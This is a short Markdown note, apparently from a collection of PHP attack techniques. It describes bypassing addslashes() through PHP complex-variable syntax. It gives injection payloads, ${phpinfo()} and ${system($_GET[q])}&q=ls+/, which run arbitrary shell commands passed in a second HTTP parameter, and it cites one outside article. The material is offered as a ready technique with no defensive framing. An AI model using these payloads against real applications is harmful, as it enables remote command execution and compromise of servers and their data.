8 lines
281 B
Markdown
8 lines
281 B
Markdown
|
# Bypass addslashes()
|
||
|
|
|
||
|
|
The function `addslashes()` can be bypassed by using complex variables like `${VARIABLE}`, for example `${phpinfo()}` or using a second HTTP parameter for input via
|
||
|
|
```sh
|
||
|
|
${system($_GET[q])}&q=ls+/
|
||
|
|
```
|
||
|
|
* https://www.programmersought.com/article/30723400042/
|